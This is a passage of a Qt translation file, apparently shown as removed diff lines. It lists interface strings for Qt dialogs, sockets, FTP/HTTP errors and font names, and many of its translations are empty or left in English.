- <message>
- <source>Sort</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Show &amp;hidden files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>the file</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>the directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>the symlink</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Delete %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&lt;qt&gt;Are you sure you wish to delete %1 &quot;%2&quot;?&lt;/qt&gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Yes</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;No</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>New Folder 1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>New Folder</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>New Folder %1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Find Directory</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Directory:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>%1
-File not found.
-Check path and filename.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>All Files (*.*)</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Open </source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Select a Directory</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3LocalFs</name>
- <message>
- <source>Could not read directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not create directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not remove file or directory
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not rename
-%1
-to
-%2</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not open
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Could not write
-%1</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3MainWindow</name>
- <message>
- <source>Line up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Customize...</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3NetworkProtocol</name>
- <message>
- <source>Operation stopped by the user</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3ProgressDialog</name>
- <message>
- <source>Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3TabDialog</name>
- <message>
- <source>OK</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Apply</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Help</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Defaults</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3TextEdit</name>
- <message>
- <source>&amp;Undo</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Redo</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Cu&amp;t</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Copy</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Paste</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Clear</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Select All</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3TitleBar</name>
- <message>
- <source>System</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Restore up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Minimize</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Restore down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Maximize</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Close</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Contains commands to manipulate the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Puts a minimized window back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Moves the window out of the way</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Puts a maximized window back to normal</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Makes the window full screen</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Closes the window</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Displays the name of the window and contains controls to manipulate it</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3ToolBar</name>
- <message>
- <source>More...</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3UrlOperator</name>
- <message>
- <source>The protocol `%1&apos; is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support listing directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support creating new directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support removing files or directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support renaming files or directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support getting files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support putting files</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>The protocol `%1&apos; does not support copying or moving files or directories</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>(unknown)</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>Q3Wizard</name>
- <message>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&lt; &amp;Back</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Next &gt;</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Finish</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Help</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAbstractSocket</name>
- <message>
- <source>Host not found</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Connection refused</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Connection timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Operation on socket is not supported</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Socket operation timed out</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Socket is not connected</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Network unreachable</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAbstractSpinBox</name>
- <message>
- <source>&amp;Step up</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Step &amp;down</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Select All</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAccessibleButton</name>
- <message>
- <source>Press</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QApplication</name>
- <message>
- <source>QT_LAYOUT_DIRECTION</source>
- <comment>Translate this string to the string &apos;LTR&apos; in left-to-right languages or to &apos;RTL&apos; in right-to-left languages (such as Hebrew and Arabic) to get proper widget layout.</comment>
- <translation type="unfinished">RTL</translation>
- </message>
- <message>
- <source>Executable &apos;%1&apos; requires Qt %2, found Qt %3.</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Incompatible Qt Library Error</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Activate</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Activates the program&apos;s main window</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QAxSelect</name>
- <message>
- <source>Select ActiveX Control</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>OK</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Cancel</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>COM &amp;Object:</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QCheckBox</name>
- <message>
- <source>Uncheck</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Check</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Toggle</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QColorDialog</name>
- <message>
- <source>Hu&amp;e:</source>
- <translation>Hu&amp;e:</translation>
- </message>
- <message>
- <source>&amp;Sat:</source>
- <translation>&amp;Sat:</translation>
- </message>
- <message>
- <source>&amp;Val:</source>
- <translation>&amp;Val:</translation>
- </message>
- <message>
- <source>&amp;Red:</source>
- <translation>&amp;Red:</translation>
- </message>
- <message>
- <source>&amp;Green:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Bl&amp;ue:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>A&amp;lpha channel:</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>Select Color</source>
- <translation>Select Color</translation>
- </message>
- <message>
- <source>&amp;Basic colors</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Custom colors</source>
- <translation type="unfinished"></translation>
- </message>
- <message>
- <source>&amp;Add to Custom Colors</source>
- <translation type="unfinished"></translation>
- </message>
- </context>
- <context>
- <name>QComboBox</name>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>False</source>
- <translation>False</translation>
- </message>
- <message>
- <source>True</source>
- <translation>True</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- </context>
- <context>
- <name>QCoreApplication</name>
- <message>
- <source>%1: key is empty</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: key is empty</translation>
- </message>
- <message>
- <source>%1: unable to make key</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: unable to make key</translation>
- </message>
- <message>
- <source>%1: ftok failed</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: ftok failed</translation>
- </message>
- <message>
- <source>%1: already exists</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: already exists</translation>
- </message>
- <message>
- <source>%1: does not exist</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: does not exist</translation>
- </message>
- <message>
- <source>%1: out of resources</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: out of resources</translation>
- </message>
- <message>
- <source>%1: unknown error %2</source>
- <comment>QSystemSemaphore</comment>
- <translation>%1: unknown error %2</translation>
- </message>
- </context>
- <context>
- <name>QDB2Driver</name>
- <message>
- <source>Unable to connect</source>
- <translation>Unable to connect</translation>
- </message>
- <message>
- <source>Unable to commit transaction</source>
- <translation>Unable to commit transaction</translation>
- </message>
- <message>
- <source>Unable to rollback transaction</source>
- <translation>Unable to rollback transaction</translation>
- </message>
- <message>
- <source>Unable to set autocommit</source>
- <translation>Unable to set autocommit</translation>
- </message>
- </context>
- <context>
- <name>QDB2Result</name>
- <message>
- <source>Unable to execute statement</source>
- <translation>Unable to execute statement</translation>
- </message>
- <message>
- <source>Unable to prepare statement</source>
- <translation>Unable to prepare statement</translation>
- </message>
- <message>
- <source>Unable to bind variable</source>
- <translation>Unable to bind variable</translation>
- </message>
- <message>
- <source>Unable to fetch record %1</source>
- <translation>Unable to fetch record %1</translation>
- </message>
- <message>
- <source>Unable to fetch next</source>
- <translation>Unable to fetch next</translation>
- </message>
- <message>
- <source>Unable to fetch first</source>
- <translation>Unable to fetch first</translation>
- </message>
- </context>
- <context>
- <name>QDateTimeEdit</name>
- <message>
- <source>AM</source>
- <translation>AM</translation>
- </message>
- <message>
- <source>am</source>
- <translation>am</translation>
- </message>
- <message>
- <source>PM</source>
- <translation>PM</translation>
- </message>
- <message>
- <source>pm</source>
- <translation>pm</translation>
- </message>
- </context>
- <context>
- <name>QDial</name>
- <message>
- <source>QDial</source>
- <translation>QDial</translation>
- </message>
- <message>
- <source>SpeedoMeter</source>
- <translation>SpeedoMeter</translation>
- </message>
- <message>
- <source>SliderHandle</source>
- <translation>SliderHandle</translation>
- </message>
- </context>
- <context>
- <name>QDialog</name>
- <message>
- <source>What&apos;s This?</source>
- <translation>What&apos;s This?</translation>
- </message>
- <message>
- <source>Done</source>
- <translation>Done</translation>
- </message>
- </context>
- <context>
- <name>QDialogButtonBox</name>
- <message>
- <source>OK</source>
- <translation>OK</translation>
- </message>
- <message>
- <source>Save</source>
- <translation>Save</translation>
- </message>
- <message>
- <source>&amp;Save</source>
- <translation>&amp;Save</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>Cancel</source>
- <translation>Cancel</translation>
- </message>
- <message>
- <source>&amp;Cancel</source>
- <translation>&amp;Cancel</translation>
- </message>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>&amp;Close</source>
- <translation>&amp;Close</translation>
- </message>
- <message>
- <source>Apply</source>
- <translation>Apply</translation>
- </message>
- <message>
- <source>Reset</source>
- <translation>Reset</translation>
- </message>
- <message>
- <source>Help</source>
- <translation>Help</translation>
- </message>
- <message>
- <source>Don&apos;t Save</source>
- <translation>Don&apos;t Save</translation>
- </message>
- <message>
- <source>Discard</source>
- <translation>Discard</translation>
- </message>
- <message>
- <source>&amp;Yes</source>
- <translation>&amp;Yes</translation>
- </message>
- <message>
- <source>Yes to &amp;All</source>
- <translation>Yes to &amp;All</translation>
- </message>
- <message>
- <source>&amp;No</source>
- <translation>&amp;No</translation>
- </message>
- <message>
- <source>N&amp;o to All</source>
- <translation>N&amp;o to All</translation>
- </message>
- <message>
- <source>Save All</source>
- <translation>Save All</translation>
- </message>
- <message>
- <source>Abort</source>
- <translation>Abort</translation>
- </message>
- <message>
- <source>Retry</source>
- <translation>Retry</translation>
- </message>
- <message>
- <source>Ignore</source>
- <translation>Ignore</translation>
- </message>
- <message>
- <source>Restore Defaults</source>
- <translation>Restore Defaults</translation>
- </message>
- <message>
- <source>Close without Saving</source>
- <translation>Close without Saving</translation>
- </message>
- <message>
- <source>&amp;OK</source>
- <translation>&amp;OK</translation>
- </message>
- </context>
- <context>
- <name>QDirModel</name>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Size</source>
- <translation>Size</translation>
- </message>
- <message>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation>Kind</translation>
- </message>
- <message>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation>Type</translation>
- </message>
- <message>
- <source>Date Modified</source>
- <translation>Date Modified</translation>
- </message>
- </context>
- <context>
- <name>QDockWidget</name>
- <message>
- <source>Close</source>
- <translation>Close</translation>
- </message>
- <message>
- <source>Dock</source>
- <translation>Dock</translation>
- </message>
- <message>
- <source>Float</source>
- <translation>Float</translation>
- </message>
- </context>
- <context>
- <name>QDoubleSpinBox</name>
- <message>
- <source>More</source>
- <translation>More</translation>
- </message>
- <message>
- <source>Less</source>
- <translation>Less</translation>
- </message>
- </context>
- <context>
- <name>QErrorMessage</name>
- <message>
- <source>&amp;Show this message again</source>
- <translation>&amp;Show this message again</translation>
- </message>
- <message>
- <source>&amp;OK</source>
- <translation>&amp;OK</translation>
- </message>
- <message>
- <source>Debug Message:</source>
- <translation>Debug Message:</translation>
- </message>
- <message>
- <source>Warning:</source>
- <translation>Warning:</translation>
- </message>
- <message>
- <source>Fatal Error:</source>
- <translation>Fatal Error:</translation>
- </message>
- </context>
- <context>
- <name>QFile</name>
- <message>
- <source>Destination file exists</source>
- <translation>Destination file exists</translation>
- </message>
- <message>
- <source>Will not rename sequential file using block copy</source>
- <translation>Will not rename sequential file using block copy</translation>
- </message>
- <message>
- <source>Cannot remove source file</source>
- <translation>Cannot remove source file</translation>
- </message>
- <message>
- <source>Cannot open %1 for input</source>
- <translation>Cannot open %1 for input</translation>
- </message>
- <message>
- <source>Cannot open for output</source>
- <translation>Cannot open for output</translation>
- </message>
- <message>
- <source>Failure to write block</source>
- <translation>Failure to write block</translation>
- </message>
- <message>
- <source>Cannot create %1 for output</source>
- <translation>Cannot create %1 for output</translation>
- </message>
- </context>
- <context>
- <name>QFileDialog</name>
- <message>
- <source>All Files (*)</source>
- <translation>All Files (*)</translation>
- </message>
- <message>
- <source>Back</source>
- <translation>Back</translation>
- </message>
- <message>
- <source>List View</source>
- <translation>List View</translation>
- </message>
- <message>
- <source>Detail View</source>
- <translation>Detail View</translation>
- </message>
- <message>
- <source>File</source>
- <translation>File</translation>
- </message>
- <message>
- <source>Open</source>
- <translation>Open</translation>
- </message>
- <message>
- <source>Save As</source>
- <translation>Save As</translation>
- </message>
- <message>
- <source>&amp;Open</source>
- <translation>&amp;Open</translation>
- </message>
- <message>
- <source>&amp;Save</source>
- <translation>&amp;Save</translation>
- </message>
- <message>
- <source>Recent Places</source>
- <translation>Recent Places</translation>
- </message>
- <message>
- <source>&amp;Rename</source>
- <translation>&amp;Rename</translation>
- </message>
- <message>
- <source>&amp;Delete</source>
- <translation>&amp;Delete</translation>
- </message>
- <message>
- <source>Show &amp;hidden files</source>
- <translation>Show &amp;hidden files</translation>
- </message>
- <message>
- <source>New Folder</source>
- <translation>New Folder</translation>
- </message>
- <message>
- <source>Find Directory</source>
- <translation>Find Directory</translation>
- </message>
- <message>
- <source>Directories</source>
- <translation>Directories</translation>
- </message>
- <message>
- <source>All Files (*.*)</source>
- <translation>All Files (*.*)</translation>
- </message>
- <message>
- <source>Directory:</source>
- <translation>Directory:</translation>
- </message>
- <message>
- <source>%1 already exists.
-Do you want to replace it?</source>
- <translation>%1 already exists.
-Do you want to replace it?</translation>
- </message>
- <message>
- <source>%1
-File not found.
-Please verify the correct file name was given.</source>
- <translation>%1
-File not found.
-Please verify the correct file name was given.</translation>
- </message>
- <message>
- <source>My Computer</source>
- <translation>My Computer</translation>
- </message>
- <message>
- <source>Parent Directory</source>
- <translation>Parent Directory</translation>
- </message>
- <message>
- <source>Files of type:</source>
- <translation>Files of type:</translation>
- </message>
- <message>
- <source>%1
-Directory not found.
-Please verify the correct directory name was given.</source>
- <translation>%1
-Directory not found.
-Please verify the correct directory name was given.</translation>
- </message>
- <message>
- <source>&apos;%1&apos; is write protected.
-Do you want to delete it anyway?</source>
- <translation>&apos;%1&apos; is write protected.
-Do you want to delete it anyway?</translation>
- </message>
- <message>
- <source>Are sure you want to delete &apos;%1&apos;?</source>
- <translation>Are sure you want to delete &apos;%1&apos;?</translation>
- </message>
- <message>
- <source>Could not delete directory.</source>
- <translation>Could not delete directory.</translation>
- </message>
- <message>
- <source>Drive</source>
- <translation>Drive</translation>
- </message>
- <message>
- <source>File Folder</source>
- <comment>Match Windows Explorer</comment>
- <translation>File Folder</translation>
- </message>
- <message>
- <source>Folder</source>
- <comment>All other platforms</comment>
- <translation>Folder</translation>
- </message>
- <message>
- <source>Alias</source>
- <comment>Mac OS X Finder</comment>
- <translation>Alias</translation>
- </message>
- <message>
- <source>Shortcut</source>
- <comment>All other platforms</comment>
- <translation>Shortcut</translation>
- </message>
- <message>
- <source>Unknown</source>
- <translation>Unknown</translation>
- </message>
- <message>
- <source>Show </source>
- <translation>Show </translation>
- </message>
- <message>
- <source>Forward</source>
- <translation>Forward</translation>
- </message>
- <message>
- <source>&amp;New Folder</source>
- <translation>&amp;New Folder</translation>
- </message>
- <message>
- <source>&amp;Choose</source>
- <translation>&amp;Choose</translation>
- </message>
- <message>
- <source>Remove</source>
- <translation>Remove</translation>
- </message>
- <message>
- <source>File &amp;name:</source>
- <translation>File &amp;name:</translation>
- </message>
- <message>
- <source>Look in:</source>
- <translation>Look in:</translation>
- </message>
- <message>
- <source>Create New Folder</source>
- <translation>Create New Folder</translation>
- </message>
- </context>
- <context>
- <name>QFileSystemModel</name>
- <message>
- <source>%1 TB</source>
- <translation>%1 TB</translation>
- </message>
- <message>
- <source>%1 GB</source>
- <translation>%1 GB</translation>
- </message>
- <message>
- <source>%1 MB</source>
- <translation>%1 MB</translation>
- </message>
- <message>
- <source>%1 KB</source>
- <translation>%1 KB</translation>
- </message>
- <message>
- <source>%1 bytes</source>
- <translation>%1 bytes</translation>
- </message>
- <message>
- <source>Invalid filename</source>
- <translation>Invalid filename</translation>
- </message>
- <message>
- <source>&lt;b&gt;The name &quot;%1&quot; can not be used.&lt;/b&gt;&lt;p&gt;Try using another name, with fewer characters or no punctuations marks.</source>
- <translation>&lt;b&gt;The name &quot;%1&quot; can not be used.&lt;/b&gt;&lt;p&gt;Try using another name, with fewer characters or no punctuations marks.</translation>
- </message>
- <message>
- <source>Name</source>
- <translation>Name</translation>
- </message>
- <message>
- <source>Size</source>
- <translation>Size</translation>
- </message>
- <message>
- <source>Kind</source>
- <comment>Match OS X Finder</comment>
- <translation>Kind</translation>
- </message>
- <message>
- <source>Type</source>
- <comment>All other platforms</comment>
- <translation>Type</translation>
- </message>
- <message>
- <source>Date Modified</source>
- <translation>Date Modified</translation>
- </message>
- <message>
- <source>My Computer</source>
- <translation>My Computer</translation>
- </message>
- <message>
- <source>Computer</source>
- <translation>Computer</translation>
- </message>
- <message>
- <source>%1 byte(s)</source>
- <translation>%1 byte(s)</translation>
- </message>
- </context>
- <context>
- <name>QFontDatabase</name>
- <message>
- <source>Normal</source>
- <translation>Normal</translation>
- </message>
- <message>
- <source>Bold</source>
- <translation>Bold</translation>
- </message>
- <message>
- <source>Demi Bold</source>
- <translation>Demi Bold</translation>
- </message>
- <message>
- <source>Black</source>
- <translation>Black</translation>
- </message>
- <message>
- <source>Demi</source>
- <translation>Demi</translation>
- </message>
- <message>
- <source>Light</source>
- <translation>Light</translation>
- </message>
- <message>
- <source>Italic</source>
- <translation>Italic</translation>
- </message>
- <message>
- <source>Oblique</source>
- <translation>Oblique</translation>
- </message>
- <message>
- <source>Any</source>
- <translation>Any</translation>
- </message>
- <message>
- <source>Latin</source>
- <translation>Latin</translation>
- </message>
- <message>
- <source>Greek</source>
- <translation>Greek</translation>
- </message>
- <message>
- <source>Cyrillic</source>
- <translation>Cyrillic</translation>
- </message>
- <message>
- <source>Armenian</source>
- <translation>Armenian</translation>
- </message>
- <message>
- <source>Hebrew</source>
- <translation>Hebrew</translation>
- </message>
- <message>
- <source>Arabic</source>
- <translation>Arabic</translation>
- </message>
- <message>
- <source>Syriac</source>
- <translation>Syriac</translation>
- </message>
- <message>
- <source>Thaana</source>
- <translation>Thaana</translation>
- </message>
- <message>
- <source>Devanagari</source>
- <translation>Devanagari</translation>
- </message>
- <message>
- <source>Bengali</source>
- <translation>Bengali</translation>
- </message>
- <message>
- <source>Gurmukhi</source>
- <translation>Gurmukhi</translation>
- </message>
- <message>
- <source>Gujarati</source>
- <translation>Gujarati</translation>
- </message>
- <message>
- <source>Oriya</source>
- <translation>Oriya</translation>
- </message>
- <message>
- <source>Tamil</source>
- <translation>Tamil</translation>
- </message>
- <message>
- <source>Telugu</source>
- <translation>Telugu</translation>
- </message>
- <message>
- <source>Kannada</source>
- <translation>Kannada</translation>
- </message>
- <message>
- <source>Malayalam</source>
- <translation>Malayalam</translation>
- </message>
- <message>
- <source>Sinhala</source>
- <translation>Sinhala</translation>
- </message>
- <message>
- <source>Thai</source>
- <translation>Thai</translation>
- </message>
- <message>
- <source>Lao</source>
- <translation>Lao</translation>
- </message>
- <message>
- <source>Tibetan</source>
- <translation>Tibetan</translation>
- </message>
- <message>
- <source>Myanmar</source>
- <translation>Myanmar</translation>
- </message>
- <message>
- <source>Georgian</source>
- <translation>Georgian</translation>
- </message>
- <message>
- <source>Khmer</source>
- <translation>Khmer</translation>
- </message>
- <message>
- <source>Simplified Chinese</source>
- <translation>Simplified Chinese</translation>
- </message>
- <message>
- <source>Traditional Chinese</source>
- <translation>Traditional Chinese</translation>
- </message>
- <message>
- <source>Japanese</source>
- <translation>Japanese</translation>
- </message>
- <message>
- <source>Korean</source>
- <translation>Korean</translation>
- </message>
- <message>
- <source>Vietnamese</source>
- <translation>Vietnamese</translation>
- </message>
- <message>
- <source>Symbol</source>
- <translation>Symbol</translation>
- </message>
- <message>
- <source>Ogham</source>
- <translation>Ogham</translation>
- </message>
- <message>
- <source>Runic</source>
- <translation>Runic</translation>
- </message>
- <message>
- <source>N&apos;Ko</source>
- <translation>N&apos;Ko</translation>
- </message>
- </context>
- <context>
- <name>QFontDialog</name>
- <message>
- <source>&amp;Font</source>
- <translation>&amp;Font</translation>
- </message>
- <message>
- <source>Font st&amp;yle</source>
- <translation>Font st&amp;yle</translation>
- </message>
- <message>
- <source>&amp;Size</source>
- <translation>&amp;Size</translation>
- </message>
- <message>
- <source>Effects</source>
- <translation>Effects</translation>
- </message>
- <message>
- <source>Stri&amp;keout</source>
- <translation>Stri&amp;keout</translation>
- </message>
- <message>
- <source>&amp;Underline</source>
- <translation>&amp;Underline</translation>
- </message>
- <message>
- <source>Sample</source>
- <translation>Sample</translation>
- </message>
- <message>
- <source>Select Font</source>
- <translation>Select Font</translation>
- </message>
- <message>
- <source>Wr&amp;iting System</source>
- <translation>Wr&amp;iting System</translation>
- </message>
- </context>
- <context>
- <name>QFtp</name>
- <message>
- <source>Host %1 found</source>
- <translation>Host %1 found</translation>
- </message>
- <message>
- <source>Host found</source>
- <translation>Host found</translation>
- </message>
- <message>
- <source>Connected to host %1</source>
- <translation>Connected to host %1</translation>
- </message>
- <message>
- <source>Connected to host</source>
- <translation>Connected to host</translation>
- </message>
- <message>
- <source>Connection to %1 closed</source>
- <translation>Connection to %1 closed</translation>
- </message>
- <message>
- <source>Connection closed</source>
- <translation>Connection closed</translation>
- </message>
- <message>
- <source>Host %1 not found</source>
- <translation>Host %1 not found</translation>
- </message>
- <message>
- <source>Connection refused to host %1</source>
- <translation>Connection refused to host %1</translation>
- </message>
- <message>
- <source>Connection timed out to host %1</source>
- <translation>Connection timed out to host %1</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>Connecting to host failed:
-%1</source>
- <translation>Connecting to host failed:
-%1</translation>
- </message>
- <message>
- <source>Login failed:
-%1</source>
- <translation>Login failed:
-%1</translation>
- </message>
- <message>
- <source>Listing directory failed:
-%1</source>
- <translation>Listing directory failed:
-%1</translation>
- </message>
- <message>
- <source>Changing directory failed:
-%1</source>
- <translation>Changing directory failed:
-%1</translation>
- </message>
- <message>
- <source>Downloading file failed:
-%1</source>
- <translation>Downloading file failed:
-%1</translation>
- </message>
- <message>
- <source>Uploading file failed:
-%1</source>
- <translation>Uploading file failed:
-%1</translation>
- </message>
- <message>
- <source>Removing file failed:
-%1</source>
- <translation>Removing file failed:
-%1</translation>
- </message>
- <message>
- <source>Creating directory failed:
-%1</source>
- <translation>Creating directory failed:
-%1</translation>
- </message>
- <message>
- <source>Removing directory failed:
-%1</source>
- <translation>Removing directory failed:
-%1</translation>
- </message>
- <message>
- <source>Not connected</source>
- <translation>Not connected</translation>
- </message>
- <message>
- <source>Connection refused for data connection</source>
- <translation>Connection refused for data connection</translation>
- </message>
- </context>
- <context>
- <name>QHostInfo</name>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- </context>
- <context>
- <name>QHostInfoAgent</name>
- <message>
- <source>Host not found</source>
- <translation>Host not found</translation>
- </message>
- <message>
- <source>Unknown address type</source>
- <translation>Unknown address type</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>No host name given</source>
- <translation>No host name given</translation>
- </message>
- <message>
- <source>Invalid hostname</source>
- <translation>Invalid hostname</translation>
- </message>
- </context>
- <context>
- <name>QHttp</name>
- <message>
- <source>Connection refused</source>
- <translation>Connection refused</translation>
- </message>
- <message>
- <source>Host %1 not found</source>
- <translation>Host %1 not found</translation>
- </message>
- <message>
- <source>Wrong content length</source>
- <translation>Wrong content length</translation>
- </message>
- <message>
- <source>HTTP request failed</source>
- <translation>HTTP request failed</translation>
- </message>
- <message>
- <source>Host %1 found</source>
- <translation>Host %1 found</translation>
- </message>
- <message>
- <source>Host found</source>
- <translation>Host found</translation>
- </message>
- <message>
- <source>Connected to host %1</source>
- <translation>Connected to host %1</translation>
- </message>
- <message>
- <source>Connected to host</source>
- <translation>Connected to host</translation>
- </message>
- <message>
- <source>Connection to %1 closed</source>
- <translation>Connection to %1 closed</translation>
- </message>
- <message>
- <source>Connection closed</source>
- <translation>Connection closed</translation>
- </message>
- <message>
- <source>Unknown error</source>
- <translation>Unknown error</translation>
- </message>
- <message>
- <source>Request aborted</source>
- <translation>Request aborted</translation>
- </message>
- <message>
- <source>No server set to connect to</source>
- <translation>No server set to connect to</translation>
- </message>
- <message>
- <source>Server closed connection unexpectedly</source>
- <translation>Server closed connection unexpectedly</translation>
- </message>
- <message>
- <source>Invalid HTTP response header</source>
- <translation>Invalid HTTP response header</translation>
- </message>
- <message>
- <source>Unknown authentication method</source>
- <translation>Unknown authentication method</translation>
- </message>
- <message>
- <source>Invalid HTTP chunked body</source>
- <translation>Invalid HTTP chunked body</translation>
- </message>
- <message>
- <source>Error writing response to device</source>
- <translation>Error writing response to device</translation>
- </message>
- <message>
- <source>Proxy authentication required</source>
- <translation>Proxy authentication required</translation>
- </message>
- <message>
- <source>Authentication required</source>
- <translation>Authentication required</translation>
- </message>
- <message>
- <source>Proxy requires authentication</source>
- <translation>Proxy requires authentication</translation>
- </message>
